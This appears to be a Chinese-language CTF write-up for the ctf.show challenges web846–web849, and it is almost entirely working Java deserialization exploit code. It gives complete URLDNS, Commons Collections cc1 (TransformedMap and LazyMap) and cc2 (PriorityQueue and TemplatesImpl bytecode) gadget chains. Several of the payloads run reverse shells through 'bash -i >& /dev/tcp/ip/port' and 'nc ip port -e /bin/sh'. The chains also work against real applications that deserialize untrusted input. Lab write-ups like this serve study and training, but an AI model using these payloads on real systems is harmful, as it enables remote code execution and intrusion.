web846

这题是利用URLDNS链。

import java.io.*;
import java.util.Base64;
import java.util.HashMap;
import java.net.URL;


public class chall1 {
    public static void main(String[] args) throws Exception {
        HashMap map = new HashMap();
        URL url = new URL("http://9655e930-62a3-4ccd-910c-0357db4827df.challenge.ctf.show");
        map.put(url,1); 
        String data = serialize(map);
        System.out.println(data);
    }

    public static String serialize(Object obj) throws IOException{
        ByteArrayOutputStream byteArrayOutputStream =new ByteArrayOutputStream();
        ObjectOutput outputStream =new ObjectOutputStream(byteArrayOutputStream);
        outputStream.writeObject(obj);
        outputStream.flush();
        outputStream.close();
        return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
    }
}

web847

这题直接利用cc1链getshell。

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class web847 {
    public static void main(String[] args) throws Exception {

        byte[] shellBytes = ("bash -i >& /dev/tcp/ip/port 0>&1").getBytes();
        String shellStr = Base64.getEncoder().encodeToString(shellBytes);

        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"bash -c {echo,"+shellStr+"}|{base64,-d}|{bash,-i}"})
        };
        //将transformers数组存入ChainedTransformer这个继承类
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        //创建Map并绑定transformerChina
        HashMap innerMap = new HashMap();
        innerMap.put("value", "value");


        //给予map数据转化链
        Map outerMap = TransformedMap.decorate(innerMap, null, chainedTransformer);
        //反射机制调用AnnotationInvocationHandler类的构造函数
        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        //取消构造函数修饰符限制
        ctor.setAccessible(true);
        //获取AnnotationInvocationHandler类实例
        Object instance = ctor.newInstance(Target.class, outerMap);
        String data = serializeToBase64(instance);
        System.out.println(data);

        unserializeFromBase64(data);
    }

    public static String serializeToBase64(Object obj) throws IOException {
        ByteArrayOutputStream byteArrayOutputStream =new ByteArrayOutputStream();
        ObjectOutput outputStream =new ObjectOutputStream(byteArrayOutputStream);
        outputStream.writeObject(obj);
        outputStream.flush();
        outputStream.close();
        return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
    }

    //定义反序列化方法
    public static void unserializeFromBase64(String str) throws Exception{
        byte[] data = Base64.getDecoder().decode(str);
        ByteArrayInputStream byteArrayInputStream =new ByteArrayInputStream(data);
        ObjectInputStream objectInputStream=new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();
    }

}

这里要记得传参数时要url编码,因为没有编码,一直报suid错误,我还一直以为版本不对🤣

web848

这里过滤了TransformedMap类,我们使用LazyMap可以绕过。
ysoserial中也是使用的LazyMap这条链。

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class web848 {
    public static void main(String[] args) throws Exception {
        byte[] shellBytes = ("bash -i >&/dev/tcp/ip/port 0>&1").getBytes();
        String shellStr = Base64.getEncoder().encodeToString(shellBytes);

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"bash -c {echo,"+shellStr+"}|{base64,-d}|{bash,-i}"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object, Object> map = new HashMap<>();
        Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);

        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationHandlerConstructor.setAccessible(true);
        // 注解可以乱填,因为动态代理的invoke只需要在readObject种执行一个无参方法即可触发,不需要过后面的判断
        InvocationHandler h = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Override.class, lazyMap);
        // 这里动态代理一个LazyMap可以实现readObject->invoke->get
        Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);
        Object obj = annotationInvocationHandlerConstructor.newInstance(Override.class, mapProxy);

        String payload = serializeToBase64(obj);
        System.out.println(payload);
        unserializeFromBase64(payload);
    }
    public static String serializeToBase64(Object obj) throws IOException {
        ByteArrayOutputStream byteArrayOutputStream =new ByteArrayOutputStream();
        ObjectOutput outputStream =new ObjectOutputStream(byteArrayOutputStream);
        outputStream.writeObject(obj);
        outputStream.flush();
        outputStream.close();
        return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
    }

    public static void unserializeFromBase64(String str) throws Exception{
        byte[] data = Base64.getDecoder().decode(str);
        ByteArrayInputStream byteArrayInputStream =new ByteArrayInputStream(data);
        ObjectInputStream objectInputStream=new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();
    }

web849

环境使用了commons-collections4.0和jdk8
可以使用cc2链

cc2链结尾可以用之前的Runtime.getRuntime().exec也可以用新引入的字节码加载方式TemplateImpl(ysoserial里用的后面这种)。

第一种方式:

package org.example;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;



public class web849 {
    public static void main(String[] args) throws Exception {

        Transformer[]  transformers= new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"nc ip port -e /bin/sh"})
        };

        ChainedTransformer chainedTransformer= new ChainedTransformer(transformers);
        TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
        PriorityQueue priorityQueue = new PriorityQueue(1);

        priorityQueue.add(1);
        priorityQueue.add(2);//传入两个参数

//        Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");//反射获取成员变量的field
//        size.setAccessible(true);//获取访问权限
//        size.set(priorityQueue,2);//设置参数


        Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");//反射获取成员变量的field
        field.setAccessible(true);//获取访问权限
        field.set(priorityQueue,transformingComparator);//设置参数

        String payload = serializeToBase64(priorityQueue);
        System.out.println(payload);
        unserializeFromBase64(payload);

    }
    public static String serializeToBase64(Object obj) throws IOException {
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutput outputStream = new ObjectOutputStream(byteArrayOutputStream);
        outputStream.writeObject(obj);
        outputStream.flush();
        outputStream.close();
        return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
    }

    public static void unserializeFromBase64(String str) throws Exception {
        byte[] data = Base64.getDecoder().decode(str);
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(data);
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();
    }


}

第二种方式:

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;

public class web849 {

    public static void main(String[] args) throws Exception {

        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{
                //取当前目录下的类路径EvilTemplatesImpl.class.getName(),如果在当前目录下可以直接写类名即可
                ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()
        });
        setFieldValue(obj, "_name", "HelloTemplatesImpl");


        Transformer[]  transformers= new Transformer[]{
                new ConstantTransformer(obj),
                new InvokerTransformer("newTransformer",null,null),

        };

        ChainedTransformer chainedTransformer= new ChainedTransformer(transformers);

        TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);

        PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);

        setFieldValue(priorityQueue, "size", 8);

        String payload = serializeToBase64(priorityQueue);
        System.out.println(payload);

        unserializeFromBase64(payload);


    }

    public static String serializeToBase64(Object obj) throws IOException {
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutput outputStream = new ObjectOutputStream(byteArrayOutputStream);
        outputStream.writeObject(obj);
        outputStream.flush();
        outputStream.close();
        return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
    }

    public static void unserializeFromBase64(String str) throws Exception {
        byte[] data = Base64.getDecoder().decode(str);
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(data);
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();
    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

}

EvilTemplatesImpl.java

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class EvilTemplatesImpl extends AbstractTranslet {

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
    public EvilTemplatesImpl () throws IOException {
        Runtime.getRuntime().exec("nc ip port -e /bin/sh");
    }
}